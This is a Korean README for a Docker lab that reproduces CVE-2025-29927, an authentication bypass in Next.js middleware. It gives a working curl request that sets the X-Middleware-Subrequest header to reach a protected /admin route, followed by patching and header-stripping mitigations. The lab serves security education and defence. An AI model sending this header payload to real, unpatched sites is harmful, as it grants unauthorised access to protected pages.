
Docker 기반 실습 환경: Next.js CVE-2025-29927 미들웨어 인증 우회 취약점을 탐색하고 재현할 수 있습니다. 교육용 보안 연구를 위한 취약한 앱, 재현 단계 및 완화 전략을 포함합니다.
이 저장소는 Docker 기반 랩 환경을 포함하여, Next.js CVE-2025-29927 취약점을 통제된 환경에서 탐색하고 시연할 수 있도록 제공합니다.
⚠️ 면책 조항: 이 랩은 교육 및 보안 연구 목적으로만 사용됩니다. 공개 인터넷에 노출하거나 프로덕션 환경에서 사용하지 마십시오.
다음이 설치되어 있는지 확인하십시오:
다음 단계에 따라 랩을 클론하고 실행하십시오:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
이 명령은 다음을 수행합니다:
.
├── app/ # 메인 Next.js 앱 코드
├── public/ # 정적 자산 (이미지 등)
├── Dockerfile # 앱용 Docker 설정
├── docker-compose.yml # Compose 구성
├── .env # 환경 변수 (있는 경우)
├── README.md # 현재 파일
⚠️ 경고: 이 문서는 교육 및 보안 연구 목적으로만 제공됩니다. 취약한 앱을 프로덕션 환경에 배포하지 마십시오.
CVE-2025-29927은 Next.js 미들웨어의 심각한 인증 우회 취약점입니다. 공격자는 X-Middleware-Subrequest 헤더를 조작하여 미들웨어 기반 인증을 우회하고 보호된 라우트에 접근할 수 있습니다.
인증 없이 /admin과 같은 보호된 라우트에 접근 시도:
curl http://localhost:3000/admin
예상 동작: 접근이 거부되거나 권한 없는 페이지로 리디렉션됩니다.
취약한 동작: 인증 없이 접근이 허용됩니다.
X-Middleware-Subrequest 헤더를 사용한 미들웨어 우회X-Middleware-Subrequest 헤더를 포함하여 요청을 보내 미들웨어 검사를 우회:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
결과: 미들웨어가 우회되어 보호된 라우트에 접근이 허용됩니다.
취약점이 수정된 다음 버전 중 하나로 Next.js를 업데이트하십시오:
npm install next@latest
요청을 적절히 검증하고 의심스러운 헤더를 거부하도록 미들웨어를 개선:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// 정상 처리 계속
return NextResponse.next();
}
리버스 프록시(예: Nginx)를 사용하는 경우, 들어오는 요청에서 X-Middleware-Subrequest 헤더를 제거하도록 구성:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
이 VULNERABILITY.md 파일은 통제된 환경에서 CVE-2025-29927 취약점을 이해하고 재현하는 데 필요한 종합적인 가이드를 제공합니다. 또한 Next.js 애플리케이션을 이러한 공격으로부터 보호하기 위한 실용적인 완화 전략도 함께 제시합니다.
자세한 시연 및 이 취약점에 대한 추가 통찰을 원하시면 Techtalkpine이 제공하는 전체 공격 데모를 참조하십시오. 블로그 게시물(YouTube 라이브 데모도 연결됨): https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
이 설정의 특정 부분에 대한 도움이 필요하거나 완화 단계에 대한 추가 설명이 필요하면 알려주십시오.
컨테이너를 중지하고 제거하려면:
docker-compose down
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 모든 관련 법률 및 윤리 지침에 따라 사용해야 하며, 사용자는 이에 대한 책임이 있습니다. 작성자는 오용 또는 손해에 대해 책임을 지지 않습니다.